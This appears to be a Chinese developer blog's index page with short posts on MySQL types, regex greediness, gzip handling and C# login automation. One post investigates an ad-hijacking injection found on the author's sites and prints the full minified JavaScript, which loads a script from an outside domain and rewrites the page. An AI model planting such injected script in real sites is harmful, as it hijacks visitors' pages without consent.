一切福田,不離方寸,從心而覓,感無不通。

Mysql支持的数据类型(总结)

一.数值类型 Mysql支持所有标准SQL中的数值类型,其中包括严格数据类型(INTEGER,SMALLINT,DECIMAL,NUMBERIC),以及近似数值数据类型(FLOAT,REAL,DOUBLE PRESISION),并在此基础上进行扩展。 扩展后增加了TINYINT,MEDIUMINT,BIGINT这3种长度不同的整形,并增加了BIT类型,用来存放位数据。 整数类型        字节       范围(有符号)      范围(无符号)          用途  TINYINT        1字节        (-128,127)          (0,255)            小整数值 SMALLINT       2字节     (-32 768,32 767)       (0,65 535)         大整数值 MEDIUMINT      3字节    (-8 388 608,8 388 607) (0,16 777 215)      大整数值 INT或INTEGER   4字节   (-2 147 483 648,2 147 483 647) […]

龙生   17 Jul 2016
View Details

正则表达式的贪婪匹配(.*)和非贪婪匹配(.*?)

.*? 正则引擎默认是贪婪的,当出现"*"时,它会尽量去匹配尽可能长的字符串 一个用于修正以上问题的可能方案是用"*"的惰性代替贪婪性。你可以在"*"后面紧跟一个问号"?"来达到这一点 这告诉正则引擎,尽可能少的重复上一个字符   from:http://www.cnblogs.com/dongzhiquan/archive/2010/01/16/1994661.html

龙生   17 Jul 2016
View Details

到底是谁在挂广告?

今天发现公司网站和客户的网站偶尔会出现白页,单击右键却看到一段代码: <html><head></head><body><script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="//matchdp.sankuai.cn.shuyang5.com/fw0709/gg.js?1",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"</body>"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script></body></html> 目测广告的机率比较大,决定找一下源头: 1.shuyang5.com的所有者是:jinmi.com 2.jinmi.com的所有者安徽合肥的个人 3.通过时一步分析发现了另一个页面:http://matchdp.sankuai.cn.shuyang5.com/tj/mltj2.html;并且上面有站长统计,点击后显示此站点叫“简单点”,估计站长站是知道这是谁的站点的。 4.以上页面的服务器用的都是阿里云(139.129.99.6)的,我N个阿里云的服务器均出现这个现象。看来阿里云技术的嫌疑大些。 5.通过IP反查又找到了另外的站点:http://cpro.jian123.com/lm6.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="keywords" content="联盟"> <meta name="description" content="联盟"> </head> <body> <div id="main"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <!— 300*250新 —> <ins class="adsbygoogle" style="display:inline-block;width:300px;height:250px" data-ad-client="ca-pub-7963971038590542" data-ad-slot="8049044918"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </body> </html> 通过对其代码的分析,是挂广告赚钱无疑。 无耐水平有限,只找到这些线索。有兴趣的朋友,欢迎交流~

龙生   17 Jul 2016
View Details

【解决】asp.net请求header添加gzip后抓网页源码乱码问题

asp.net抓网页源代码的代码很普遍,大家都会用,不过今天我在使用asp.net抓网页源代码时,遇到了一个小小的困扰,那就是我在请求header里添加了GZip的内容编码后,一直返回乱码的问题。不过最终还是把这个小问题给解决了,现在记录一下。 asp.net使用gzip抓取网页 普遍情况下,asp.net抓取网页源码时并不使用gzip,而是直接抓。关键代码如下: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); WebResponse response = request.GetResponse(); Stream resStream = response.GetResponseStream(); Encoding enc = Encoding.GetEncoding("GB2312"); StreamReader sr = new StreamReader(resStream, enc); string strHtml = sr.ReadToEnd(); resStream.Close(); sr.Close(); 在请求header里添加了GZip的内容编码: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); request.Headers.Add("Accept-Encoding", "gzip,deflate"); WebResponse response = request.GetResponse(); Stream resStream = response.GetResponseStream(); Encoding enc = Encoding.GetEncoding("GB2312"); StreamReader sr = new StreamReader(resStream, enc); string strHtml = sr.ReadToEnd(); resStream.Close(); sr.Close(); 但是,这样的代码,获得的网页源代码是乱码的,确切来说,是经过了GZip压缩的字符串,因此必须要进一步处理,把这些乱码还原成可读的html代码。 最终实现代码如下: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); request.Headers.Add("Accept-Encoding", "gzip,deflate"); request.AutomaticDecompression = DecompressionMethods.GZip; WebResponse response = […]

龙生   17 Jul 2016
View Details

c# 实现网页上用户自动登陆|asp.net 模拟网站登录

using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; namespace Czt.Web { /// <summary> /// 实现网站登录类 /// </summary> public class Post { /// <summary> /// 网站Cookies /// </summary> private string _cookieHeader = string.Empty; public string CookieHeader { get { return _cookieHeader; } set { _cookieHeader = value; } } /// <summary> /// 网站编码 /// </summary> private string _code = string.Empty; public string Code { get { return _code; } set { _code = value; } } private string _pageContent = string.Empty; public string PageContent { get { […]

龙生   17 Jul 2016
View Details